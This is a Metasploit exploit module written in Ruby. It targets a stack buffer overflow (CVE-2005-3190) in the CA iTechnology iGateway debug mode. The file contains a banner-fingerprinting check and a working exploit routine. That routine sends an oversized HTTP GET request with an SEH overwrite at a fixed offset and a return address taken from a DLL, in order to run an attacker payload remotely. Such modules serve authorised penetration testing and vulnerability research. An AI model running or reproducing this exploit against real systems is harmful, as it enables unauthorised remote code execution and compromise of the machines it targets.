##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA iTechnology iGateway Debug Mode Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in the Computer Associates
        iTechnology iGateway component. When <Debug>True</Debug> is enabled
        in igateway.conf (non-default), it is possible to overwrite the stack
        and execute code remotely. This module works best with Ordinal payloads.
      },
      'Author'         => 'aushack',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-3190' ],
          [ 'OSVDB', '19920' ],
          [ 'URL', 'http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33485' ],
          [ 'EDB', '1243' ],
          [ 'BID', '15025' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500,
          'Compat'   =>
          {
            'ConnectionType' => '+ws2ord',
          },
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'iGateway 3.0.40621.0', { 'Ret' => 0x120bd9c4 } ], # p/p/r xerces-c_2_1_0.dll
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Oct 06 2005',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(5250),
      ])
  end

  def check
    connect
    sock.put("HEAD / HTTP/1.0\r\nHost: #{rhost}\r\n\r\n")
    banner = sock.get_once

    if (banner.to_s =~ /GET and POST methods are the only methods supported at this time/) # Unique?
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    seh = generate_seh_payload(target.ret)
    buffer = Rex::Text.rand_text_alphanumeric(5000)
    buffer[1082, seh.length] = seh
    sploit = "GET /" + buffer + " HTTP/1.0"

    sock.put(sploit + "\r\n\r\n\r\n")

    disconnect
    handler
  end
end
